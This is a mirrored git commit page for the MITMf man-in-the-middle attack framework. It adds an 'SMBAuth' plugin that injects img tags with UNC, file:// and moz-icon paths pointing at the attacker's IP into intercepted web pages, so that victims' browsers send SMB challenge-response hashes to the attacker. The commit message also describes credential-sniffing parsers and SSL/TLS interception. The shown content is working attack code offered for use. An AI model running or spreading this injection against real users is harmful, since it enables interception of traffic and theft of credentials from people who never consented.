mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 13:32:18 -07:00
Initial commit for v1.0 using mitmproxy instead of twisted
Added a plugin system to Net-Creds so you can now add your own parsers, api hook names might change between now and the offcial release (will submit a PR to the original repo once completed) The main MITM HTTP Proxy now uses mitmproxy which is a big deal, cuts the code down by an insane amount, no more twisted! yay! Basic plugin have been re-wrote for the new proxy engine Since we are using mitmproxy we have out of the box support for SSL/TLS!
This commit is contained in:
commit
eea5f53be2
50 changed files with 5525 additions and 0 deletions
16
plugins/smbauth.py
Normal file
16
plugins/smbauth.py
Normal file
|
@ -0,0 +1,16 @@
|
|||
from plugins.plugin import Plugin
|
||||
from plugins.inject import Inject
|
||||
|
||||
class SMBAuth(Plugin):
|
||||
name = 'SMBAuth'
|
||||
optname = 'smbauth'
|
||||
desc = "Evoke SMB challenge-response auth attempts"
|
||||
version = '0.1'
|
||||
|
||||
def initialize(self, context):
|
||||
context.html_payload = '<img src=\"\\\\{}\\image.jpg\">'\
|
||||
'<img src=\"file://///{}\\image.jpg\">'\
|
||||
'<img src=\"moz-icon:file:///%%5c/{}\\image.jpg\">'.format(*tuple([context.ip]*3))
|
||||
|
||||
def response(self, context, flow):
|
||||
Inject().response(context, flow)
|
Loading…
Add table
Add a link
Reference in a new issue